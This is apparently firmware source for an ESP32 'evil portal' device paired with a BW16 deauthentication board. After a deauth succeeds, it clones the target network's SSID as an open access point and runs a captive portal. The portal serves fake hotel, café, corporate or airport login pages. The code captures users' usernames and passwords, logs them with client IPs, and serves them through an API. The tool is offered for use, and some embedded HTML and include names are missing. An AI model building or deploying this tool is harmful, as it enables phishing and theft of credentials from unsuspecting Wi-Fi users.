#include #include #include #include #include #include #include #include #include // Hardware configuration #define SSD1306_SDA 21 #define SSD1306_SCL 22 #define SSD1306_ADDRESS 0x3C // BW16 Communication #define BW16_UART_TX 17 #define BW16_UART_RX 16 #define UART_BAUD 115200 // Network configuration #define DNS_PORT 53 #define HTTP_PORT 80 #define HTTPS_PORT 443 // Display and AI SSD1306Wire display(SSD1306_ADDRESS, SSD1306_SDA, SSD1306_SCL); BluetoothSerial SerialBT; // Servers WebServer webServer(HTTP_PORT); DNSServer dnsServer; // Evil Portal System struct EvilPortal { String target_ssid; String target_bssid; int target_channel; bool is_active = false; bool captive_portal_active = false; unsigned long start_time = 0; int connections = 0; int credential_attempts = 0; std::vector captured_credentials; } evilPortal; // Portal Templates struct PortalTemplate { String name; String html_file; String css_file; String js_file; String logo_url; }; std::vector portalTemplates = { {"Generic WiFi", "/templates/generic.html", "/templates/generic.css", "/templates/generic.js", ""}, {"Hotel WiFi", "/templates/hotel.html", "/templates/hotel.css", "/templates/hotel.js", "/images/hotel_logo.svg"}, {"Corporate", "/templates/corporate.html", "/templates/corporate.css", "/templates/corporate.js", "/images/corp_logo.svg"}, {"Coffee Shop", "/templates/coffee.html", "/templates/coffee.css", "/templates/coffee.js", "/images/coffee_logo.svg"}, {"Airport WiFi", "/templates/airport.html", "/templates/airport.css", "/templates/airport.js", "/images/airport_logo.svg"} }; // AI Integration struct AIModel { bool loaded = false; String model_type = "target_selection"; float confidence_threshold = 0.7; } aiModel; // System State struct SystemState { bool bw16_connected = false; bool scanning = false; bool attacking = false; bool portal_ready = false; unsigned long last_bw16_heartbeat = 0; String current_mode = "standby"; } systemState; // Display pages enum DisplayPage { PAGE_STATUS, PAGE_TARGETS, PAGE_PORTAL, PAGE_CREDENTIALS, PAGE_STATS }; DisplayPage currentPage = PAGE_STATUS; unsigned long lastPageUpdate = 0; unsigned long lastDisplayUpdate = 0; void setup() { Serial.begin(115200); Serial2.begin(UART_BAUD, SERIAL_8N1, BW16_UART_RX, BW16_UART_TX); // Initialize display display.init(); display.flipScreenVertically(); display.setFont(ArialMT_Plain_10); display.clear(); display.drawString(0, 0, "WiFiX Evil Portal"); display.drawString(0, 16, "Initializing..."); display.display(); // Initialize SPIFFS for portal templates if (!SPIFFS.begin(true)) { Serial.println("SPIFFS initialization failed!"); display.clear(); display.drawString(0, 0, "SPIFFS Error!"); display.display(); return; } // Create portal templates if they don't exist createPortalTemplates(); // Initialize WiFi in AP mode (initially disabled) WiFi.mode(WIFI_OFF); // Initialize Bluetooth for additional attacks SerialBT.begin("WiFiX_Portal"); // Setup web server routes setupWebServer(); // Initialize AI model initializeAI(); Serial.println("ESP32 Evil Portal System Ready"); display.clear(); display.drawString(0, 0, "System Ready"); display.drawString(0, 16, "Waiting for BW16..."); display.display(); delay(1000); } void loop() { // Handle BW16 communication handleBW16Communication(); // Handle web server if (evilPortal.is_active) { webServer.handleClient(); dnsServer.processNextRequest(); } // Update display if (millis() - lastDisplayUpdate > 1000) { updateDisplay(); lastDisplayUpdate = millis(); } // Check BW16 connection status if (millis() - systemState.last_bw16_heartbeat > 10000) { systemState.bw16_connected = false; } // Handle Bluetooth connections for additional attacks handleBluetoothAttacks(); delay(10); } void handleBW16Communication() { if (Serial2.available()) { String message = Serial2.readStringUntil('\n'); message.trim(); if (message.length() > 0) { processBW16Message(message); } } } void processBW16Message(String message) { DynamicJsonDocument doc(1024); DeserializationError error = deserializeJson(doc, message); if (error) { Serial.printf("JSON parse error: %s\n", error.c_str()); return; } String type = doc["type"]; systemState.last_bw16_heartbeat = millis(); systemState.bw16_connected = true; if (type == "BW16_READY") { Serial.println("BW16 connected and ready"); systemState.current_mode = "ready"; } else if (type == "DEAUTH_SUCCESS") { // BW16 successfully deauthenticated a target - launch evil portal! String successData = doc["data"]; DynamicJsonDocument successDoc(512); deserializeJson(successDoc, successData); String ssid = successDoc["ssid"]; String bssid = successDoc["bssid"]; int channel = successDoc["channel"]; Serial.printf("Deauth success! Launching evil portal for %s\n", ssid.c_str()); launchEvilPortal(ssid, bssid, channel); } else if (type == "AP_DATA") { // New 5GHz AP discovered String apData = doc["data"]; processDiscoveredAP(apData); } else if (type == "CLIENT_DATA") { // Client discovered on target network String clientData = doc["data"]; processDiscoveredClient(clientData); } else if (type == "HEARTBEAT") { // BW16 heartbeat - system is alive systemState.last_bw16_heartbeat = millis(); } else if (type == "STATUS") { // BW16 status update String statusData = doc["data"]; processBW16Status(statusData); } } void launchEvilPortal(String ssid, String bssid, int channel) { Serial.printf("Launching evil portal for SSID: %s\n", ssid.c_str()); // Stop any existing portal stopEvilPortal(); // Configure evil portal evilPortal.target_ssid = ssid; evilPortal.target_bssid = bssid; evilPortal.target_channel = channel; evilPortal.start_time = millis(); evilPortal.connections = 0; evilPortal.credential_attempts = 0; evilPortal.captured_credentials.clear(); // Use AI to select best portal template String selectedTemplate = selectPortalTemplate(ssid); // Start WiFi AP with same SSID as target WiFi.mode(WIFI_AP); WiFi.softAP(ssid.c_str(), "", channel, 0, 8); // Open network, max 8 clients // Get AP IP IPAddress apIP = WiFi.softAPIP(); Serial.printf("Evil AP started: %s on channel %d, IP: %s\n", ssid.c_str(), channel, apIP.toString().c_str()); // Start DNS server for captive portal dnsServer.start(DNS_PORT, "*", apIP); // Start web server webServer.begin(); evilPortal.is_active = true; evilPortal.captive_portal_active = true; systemState.current_mode = "portal_active"; // Update display display.clear(); display.drawString(0, 0, "EVIL PORTAL ACTIVE"); display.drawString(0, 16, "SSID: " + ssid); display.drawString(0, 32, "IP: " + apIP.toString()); display.drawString(0, 48, "Waiting for victims..."); display.display(); Serial.println("Evil portal launched successfully!"); } String selectPortalTemplate(String ssid) { // Use AI to analyze SSID and select appropriate template String lowerSSID = ssid; lowerSSID.toLowerCase(); // Simple heuristic-based selection (can be enhanced with AI) if (lowerSSID.indexOf("hotel") != -1 || lowerSSID.indexOf("guest") != -1) { return "hotel"; } else if (lowerSSID.indexOf("coffee") != -1 || lowerSSID.indexOf("cafe") != -1 || lowerSSID.indexOf("starbucks") != -1) { return "coffee"; } else if (lowerSSID.indexOf("corp") != -1 || lowerSSID.indexOf("office") != -1 || lowerSSID.indexOf("company") != -1) { return "corporate"; } else if (lowerSSID.indexOf("airport") != -1 || lowerSSID.indexOf("terminal") != -1) { return "airport"; } else { return "generic"; } } void setupWebServer() { // Captive portal detection endpoints webServer.on("/generate_204", handleCaptivePortal); // Android webServer.on("/fwlink", handleCaptivePortal); // Microsoft webServer.on("/hotspot-detect.html", handleCaptivePortal); // Apple webServer.on("/connectivity-check.html", handleCaptivePortal); // Firefox // Main portal pages webServer.on("/", handlePortalRoot); webServer.on("/login", HTTP_GET, handleLoginPage); webServer.on("/login", HTTP_POST, handleLoginSubmit); webServer.on("/success", handleLoginSuccess); webServer.on("/error", handleLoginError); // API endpoints webServer.on("/api/status", handleAPIStatus); webServer.on("/api/credentials", handleAPICredentials); webServer.on("/api/config", [](){ DynamicJsonDocument doc(512); doc["branding_name"] = "Public WiFi"; doc["organization"] = "Wireless Network"; doc["ssid"] = evilPortal.target_ssid; doc["ap_ip"] = WiFi.softAPIP().toString(); String res; serializeJson(doc, res); webServer.send(200, "application/json", res); }); // Static files webServer.on("/style.css", handleCSS); webServer.on("/script.js", handleJS); webServer.serveStatic("/images/", SPIFFS, "/images/"); // Catch-all for captive portal webServer.onNotFound(handleCaptivePortal); } void handleCaptivePortal() { Serial.println("Captive portal triggered!"); evilPortal.connections++; // Redirect to login page with popup behavior String html = R"( WiFi Login Required )"; webServer.send(200, "text/html", html); } void handlePortalRoot() { // Redirect to captive portal handleCaptivePortal(); } void handleLoginPage() { String selectedTemplate = selectPortalTemplate(evilPortal.target_ssid); String templatePath = "/templates/" + selectedTemplate + ".html"; if (SPIFFS.exists(templatePath)) { File file = SPIFFS.open(templatePath, "r"); String html = file.readString(); file.close(); // Replace placeholders html.replace("{{SSID}}", evilPortal.target_ssid); html.replace("{{TIMESTAMP}}", String(millis())); webServer.send(200, "text/html", html); } else { // Fallback generic login handleGenericLogin(); } } void handleGenericLogin() { String html = R"( )" + evilPortal.target_ssid + R"( - WiFi Login

WiFi Access

Sign in to continue

Network: )" + evilPortal.target_ssid + R"(

Connecting to )" + evilPortal.target_ssid + R"(...

)"; webServer.send(200, "text/html", html); } void handleLoginSubmit() { String username = webServer.arg("username"); String password = webServer.arg("password"); if (username.length() > 0 && password.length() > 0) { // Store credentials String credentials = username + ":" + password; evilPortal.captured_credentials.push_back(credentials); evilPortal.credential_attempts++; Serial.printf("Captured credentials - User: %s, Pass: %s\n", username.c_str(), password.c_str()); // Log to SPIFFS File credFile = SPIFFS.open("/captured_creds.txt", "a"); if (credFile) { credFile.printf("[%lu] SSID: %s | User: %s | Pass: %s | IP: %s\n", millis(), evilPortal.target_ssid.c_str(), username.c_str(), password.c_str(), webServer.client().remoteIP().toString().c_str()); credFile.close(); } // Update display updateCredentialDisplay(); // Redirect to success page (fake internet access) webServer.sendHeader("Location", "/success"); webServer.send(302, "text/plain", ""); } else { // Redirect to error page webServer.sendHeader("Location", "/error"); webServer.send(302, "text/plain", ""); } } void handleLoginSuccess() { String html = R"( Connected - )" + evilPortal.target_ssid + R"(

Successfully Connected!

You are now connected to )" + evilPortal.target_ssid + R"( and have internet access.

Redirecting to the internet in 5 seconds...

Continue Browsing
)"; webServer.send(200, "text/html", html); } void handleLoginError() { String html = R"( Login Error - )" + evilPortal.target_ssid + R"(

Login Failed

Invalid credentials. Please check your username and password and try again.

Try Again
)"; webServer.send(200, "text/html", html); } void stopEvilPortal() { if (evilPortal.is_active) { webServer.stop(); dnsServer.stop(); WiFi.mode(WIFI_OFF); evilPortal.is_active = false; evilPortal.captive_portal_active = false; systemState.current_mode = "ready"; Serial.println("Evil portal stopped"); } } void updateDisplay() { display.clear(); switch (currentPage) { case PAGE_STATUS: drawStatusPage(); break; case PAGE_PORTAL: drawPortalPage(); break; case PAGE_CREDENTIALS: drawCredentialsPage(); break; case PAGE_STATS: drawStatsPage(); break; } display.display(); // Auto-cycle pages every 5 seconds if (millis() - lastPageUpdate > 5000) { currentPage = (DisplayPage)((currentPage + 1) % 4); lastPageUpdate = millis(); } } void drawStatusPage() { display.setFont(ArialMT_Plain_10); display.drawString(0, 0, "WiFiX Evil Portal"); // BW16 status String bw16Status = systemState.bw16_connected ? "ONLINE" : "OFFLINE"; display.drawString(0, 12, "BW16: " + bw16Status); // Current mode display.drawString(0, 24, "Mode: " + systemState.current_mode); // Portal status if (evilPortal.is_active) { display.drawString(0, 36, "Portal: " + evilPortal.target_ssid); display.drawString(0, 48, "Victims: " + String(evilPortal.connections)); } else { display.drawString(0, 36, "Portal: Inactive"); } } void drawPortalPage() { if (!evilPortal.is_active) { display.drawString(0, 0, "No Active Portal"); return; } display.setFont(ArialMT_Plain_10); display.drawString(0, 0, "EVIL PORTAL ACTIVE"); display.drawString(0, 12, "SSID: " + evilPortal.target_ssid); display.drawString(0, 24, "Connections: " + String(evilPortal.connections)); display.drawString(0, 36, "Credentials: " + String(evilPortal.credential_attempts)); // Runtime unsigned long runtime = (millis() - evilPortal.start_time) / 1000; display.drawString(0, 48, "Runtime: " + String(runtime) + "s"); } void drawCredentialsPage() { display.setFont(ArialMT_Plain_10); display.drawString(0, 0, "CAPTURED CREDENTIALS"); display.drawString(0, 12, "Total: " + String(evilPortal.captured_credentials.size())); // Show last few credentials int startIdx = max(0, (int)evilPortal.captured_credentials.size() - 3); int y = 24; for (int i = startIdx; i < evilPortal.captured_credentials.size() && y < 64; i++) { String cred = evilPortal.captured_credentials[i]; int colonPos = cred.indexOf(':'); if (colonPos > 0) { String user = cred.substring(0, colonPos); if (user.length() > 12) user = user.substring(0, 12) + "..."; display.drawString(0, y, user); y += 10; } } } void drawStatsPage() { display.setFont(ArialMT_Plain_10); display.drawString(0, 0, "ATTACK STATISTICS"); // System uptime unsigned long uptime = millis() / 1000; display.drawString(0, 12, "Uptime: " + String(uptime) + "s"); // Memory usage display.drawString(0, 24, "Free RAM: " + String(ESP.getFreeHeap())); // Portal stats if (evilPortal.is_active) { float successRate = evilPortal.connections > 0 ? (float)evilPortal.credential_attempts / evilPortal.connections * 100 : 0; display.drawString(0, 36, "Success: " + String(successRate, 1) + "%"); } } void updateCredentialDisplay() { // Force update to credentials page temporarily DisplayPage oldPage = currentPage; currentPage = PAGE_CREDENTIALS; updateDisplay(); // Flash the display delay(100); display.invertDisplay(); delay(100); display.normalDisplay(); // Return to previous page after 3 seconds delay(3000); currentPage = oldPage; } // Additional utility functions void createPortalTemplates() { // Create template directories if they don't exist if (!SPIFFS.exists("/templates")) { // Templates will be created as needed Serial.println("Template directory will be created on demand"); } } void initializeAI() { // Initialize TensorFlow Lite model for target selection // This is a placeholder - actual AI model loading would go here aiModel.loaded = false; Serial.println("AI model initialization placeholder"); } void handleBluetoothAttacks() { // Handle Bluetooth-based attacks when portal is active if (evilPortal.is_active && SerialBT.available()) { String btData = SerialBT.readString(); Serial.println("Bluetooth data received: " + btData); // Process Bluetooth attack data } } void processDiscoveredAP(String apData) { // Process AP data from BW16 Serial.println("AP discovered: " + apData); } void processDiscoveredClient(String clientData) { // Process client data from BW16 Serial.println("Client discovered: " + clientData); } void processBW16Status(String statusData) { // Process BW16 status updates DynamicJsonDocument doc(512); deserializeJson(doc, statusData); systemState.scanning = doc["scanning"]; systemState.attacking = doc["attacking"]; } void handleAPIStatus() { DynamicJsonDocument doc(512); doc["portal_active"] = evilPortal.is_active; doc["target_ssid"] = evilPortal.target_ssid; doc["connections"] = evilPortal.connections; doc["credentials"] = evilPortal.credential_attempts; doc["bw16_connected"] = systemState.bw16_connected; doc["ap_ip"] = WiFi.softAPIP().toString(); doc["uptime"] = millis() / 1000; String response; serializeJson(doc, response); webServer.send(200, "application/json", response); } void handleAPICredentials() { DynamicJsonDocument doc(1024); JsonArray creds = doc.createNestedArray("credentials"); for (const String& cred : evilPortal.captured_credentials) { creds.add(cred); } String response; serializeJson(doc, response); webServer.send(200, "application/json", response); } void handleCSS() { webServer.send(200, "text/css", "/* CSS served from SPIFFS */"); } void handleJS() { webServer.send(200, "application/javascript", "/* JS served from SPIFFS */"); }